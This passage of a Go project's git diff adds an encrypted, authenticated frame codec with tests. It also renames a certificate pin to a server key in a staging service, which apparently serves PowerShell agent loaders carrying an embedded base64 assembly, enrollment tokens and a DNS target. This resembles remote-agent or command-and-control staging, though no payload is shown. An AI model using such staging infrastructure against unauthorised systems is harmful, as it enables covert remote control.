PlainCodec struct { + R io.Reader + W io.Writer +} + +func NewPlainCodec(r io.Reader, w io.Writer) *PlainCodec { return &PlainCodec{R: r, W: w} } +func (c *PlainCodec) ReadFrame() (Frame, error) { return ReadFrame(c.R) } +func (c *PlainCodec) WriteFrame(f Frame) error { return WriteFrame(c.W, f) } + +type SecureCodec struct { + r io.Reader + w io.Writer + encKey, macKey []byte + sendSeq, recvSeq uint64 +} + +func NewSecureCodec(r io.Reader, w io.Writer, secret []byte) (*SecureCodec, error) { + if len(secret) != 32 { + return nil, fmt.Errorf("secure codec requires 32-byte secret") + } + e := sha256.Sum256(append(append([]byte(nil), secret...), []byte("psproxy aes-cbc")...)) + m := sha256.Sum256(append(append([]byte(nil), secret...), []byte("psproxy hmac")...)) + return &SecureCodec{r: r, w: w, encKey: e[:], macKey: m[:]}, nil +} +func (c *SecureCodec) WriteFrame(f Frame) error { + var plain bytes.Buffer + var seq [8]byte + binary.BigEndian.PutUint64(seq[:], c.sendSeq) + plain.Write(seq[:]) + if err := WriteFrame(&plain, f); err != nil { + return err + } + padded := pkcs7Pad(plain.Bytes(), aes.BlockSize) + block, err := aes.NewCipher(c.encKey) + if err != nil { + return err + } + iv := make([]byte, aes.BlockSize) + if _, err := rand.Read(iv); err != nil { + return err + } + ct := make([]byte, len(padded)) + cipher.NewCBCEncrypter(block, iv).CryptBlocks(ct, padded) + rec := append(iv, ct...) + mac := hmac.New(sha256.New, c.macKey) + mac.Write(seq[:]) + mac.Write(rec) + tag := mac.Sum(nil) + if len(rec)+len(tag) > secureMaxRecord { + return fmt.Errorf("secure record too large") + } + var lenb [4]byte + binary.BigEndian.PutUint32(lenb[:], uint32(len(rec)+len(tag))) + if _, err := c.w.Write(lenb[:]); err != nil { + return err + } + if _, err := c.w.Write(rec); err != nil { + return err + } + if _, err := c.w.Write(tag); err != nil { + return err + } + c.sendSeq++ + return nil +} +func (c *SecureCodec) ReadFrame() (Frame, error) { + var lenb [4]byte + if _, err := io.ReadFull(c.r, lenb[:]); err != nil { + return Frame{}, err + } + n := binary.BigEndian.Uint32(lenb[:]) + if n < aes.BlockSize+sha256.Size || n > secureMaxRecord { + return Frame{}, fmt.Errorf("invalid secure record length: %d", n) + } + rec := make([]byte, n) + if _, err := io.ReadFull(c.r, rec); err != nil { + return Frame{}, err + } + body, tag := rec[:n-sha256.Size], rec[n-sha256.Size:] + var seq [8]byte + binary.BigEndian.PutUint64(seq[:], c.recvSeq) + mac := hmac.New(sha256.New, c.macKey) + mac.Write(seq[:]) + mac.Write(body) + if !hmac.Equal(tag, mac.Sum(nil)) { + return Frame{}, errors.New("secure frame authentication failed") + } + if (len(body)-aes.BlockSize)%aes.BlockSize != 0 { + return Frame{}, errors.New("invalid secure ciphertext length") + } + block, err := aes.NewCipher(c.encKey) + if err != nil { + return Frame{}, err + } + pt := make([]byte, len(body)-aes.BlockSize) + cipher.NewCBCDecrypter(block, body[:aes.BlockSize]).CryptBlocks(pt, body[aes.BlockSize:]) + pt, err = pkcs7Unpad(pt, aes.BlockSize) + if err != nil { + return Frame{}, err + } + if len(pt) < 8 { + return Frame{}, errors.New("secure plaintext too short") + } + got := binary.BigEndian.Uint64(pt[:8]) + if got != c.recvSeq { + return Frame{}, fmt.Errorf("secure frame sequence mismatch: got %d want %d", got, c.recvSeq) + } + f, err := ReadFrame(bytes.NewReader(pt[8:])) + if err != nil { + return Frame{}, err + } + c.recvSeq++ + return f, nil +} +func pkcs7Pad(b []byte, block int) []byte { + pad := block - len(b)%block + out := append([]byte(nil), b...) + for i := 0; i < pad; i++ { + out = append(out, byte(pad)) + } + return out +} +func pkcs7Unpad(b []byte, block int) ([]byte, error) { + if len(b) == 0 || len(b)%block != 0 { + return nil, errors.New("invalid padding length") + } + p := int(b[len(b)-1]) + if p == 0 || p > block || p > len(b) { + return nil, errors.New("invalid padding") + } + for _, v := range b[len(b)-p:] { + if int(v) != p { + return nil, errors.New("invalid padding") + } + } + return b[:len(b)-p], nil +} diff --git a/internal/protocol/codec_test.go b/internal/protocol/codec_test.go new file mode 100644 index 0000000..0889dfb --- /dev/null +++ b/internal/protocol/codec_test.go @@ -0,0 +1,50 @@ +package protocol + +import ( + "net" + "testing" +) + +func TestSecureCodecRoundTrip(t *testing.T) { + c1, c2 := net.Pipe() + defer c1.Close() + defer c2.Close() + secret := []byte("0123456789abcdef0123456789abcdef") + a, _ := NewSecureCodec(c1, c1, secret) + b, _ := NewSecureCodec(c2, c2, secret) + want := Frame{StreamID: 7, Type: FrameData, Payload: []byte("hello")} + go func() { _ = a.WriteFrame(want) }() + got, err := b.ReadFrame() + if err != nil { + t.Fatalf("read: %v", err) + } + if got.StreamID != want.StreamID || got.Type != want.Type || string(got.Payload) != string(want.Payload) { + t.Fatalf("got %#v want %#v", got, want) + } +} + +func TestSecureCodecTamperRejection(t *testing.T) { + c1, c2 := net.Pipe() + defer c1.Close() + defer c2.Close() + secret := []byte("0123456789abcdef0123456789abcdef") + a, _ := NewSecureCodec(c1, c1, secret) + go func() { _ = a.WriteFrame(Frame{Type: FrameData, Payload: []byte("hello")}) }() + lenb := make([]byte, 4) + if _, err := c2.Read(lenb); err != nil { + t.Fatal(err) + } + rec := make([]byte, int(lenb[0])<<24|int(lenb[1])<<16|int(lenb[2])<<8|int(lenb[3])) + if _, err := c2.Read(rec); err != nil { + t.Fatal(err) + } + rec[len(rec)-1] ^= 0xff + server, client := net.Pipe() + defer server.Close() + defer client.Close() + go func() { client.Write(lenb); client.Write(rec) }() + b, _ := NewSecureCodec(server, server, secret) + if _, err := b.ReadFrame(); err == nil { + t.Fatal("tampered frame should be rejected") + } +} diff --git a/internal/staging/staging.go b/internal/staging/staging.go index 71414ae..9913ac9 100644 --- a/internal/staging/staging.go +++ b/internal/staging/staging.go @@ -14,7 +14,7 @@ type Session struct { ID string Server string Port int - CertPin string + ServerKey string EnrollToken string ReconnectToken string DNSTarget string @@ -43,7 +43,7 @@ func NewSecret(n int) (string, error) { return base64.RawURLEncoding.EncodeToString(b), nil } -func (s *Store) Create(server string, port int, certPin, dnsTarget string) (*Session, error) { +func (s *Store) Create(server string, port int, serverKey, dnsTarget string) (*Session, error) { id, err := NewSecret(18) if err != nil { return nil, err @@ -56,7 +56,7 @@ func (s *Store) Create(server string, port int, certPin, dnsTarget string) (*Ses if err != nil { return nil, err } - sess := &Session{ID: id, Server: server, Port: port, CertPin: certPin, EnrollToken: tok, ReconnectToken: reconnect, DNSTarget: dnsTarget, ExpiresAt: time.Now().Add(s.ttl)} + sess := &Session{ID: id, Server: server, Port: port, ServerKey: serverKey, EnrollToken: tok, ReconnectToken: reconnect, DNSTarget: dnsTarget, ExpiresAt: time.Now().Add(s.ttl)} s.mu.Lock() defer s.mu.Unlock() s.sessions[id] = sess @@ -113,7 +113,7 @@ type AgentTemplateData struct { AssemblyB64 string Server string Port int - CertPin string + ServerKey string EnrollToken string ReconnectToken string DNSTarget string @@ -129,6 +129,6 @@ func AgentHandler(store *Store, tmpl *template.Template, assemblyB64 string) htt } w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Cache-Control", "no-store") - _ = tmpl.Execute(w, AgentTemplateData{AssemblyB64: assemblyB64, Server: sess.Server, Port: sess.Port, CertPin: sess.CertPin, EnrollToken: sess.EnrollToken, ReconnectToken: sess.ReconnectToken, DNSTarget: sess.DNSTarget}) + _ = tmpl.Execute(w, AgentTemplateData{AssemblyB64: assemblyB64, Server: sess.Server, Port: sess.Port, ServerKey: sess.ServerKey, EnrollToken: sess.EnrollToken, ReconnectToken: sess.ReconnectToken, DNSTarget: sess.DNSTarget}) } } diff --git a/tools/build-agent.ps1 b/tools/build-agent.ps1 index a850ab3..f58aa0d 100644 --- a/tools/build-agent.ps1 +++ b/tools/build-agent.ps1 @@ -21,7 +21,7 @@ $template = Get-Content (Join-Path $RepoRoot "agent/loader/agent.ps1.tmpl") -Raw $template = $template.Replace('{{.AssemblyB64}}', $b64) $template = $template.Replace('{{.Server}}', '__SERVER__') $template = $template.Replace('{{.Port}}', '443') -$template = $template.Replace('{{.CertPin}}', '__CERT_PIN__') +$template = $template.Replace('{{.ServerKey}}', '__SERVER_KEY__') $template = $template.Replace('{{.EnrollToken}}', '__ENROLL_TOKEN__') $template = $template.Replace('{{.ReconnectToken}}', '__RECONNECT_TOKEN__') $template = $template.Replace('{{.DNSTarget}}', '__DNS_TARGET__')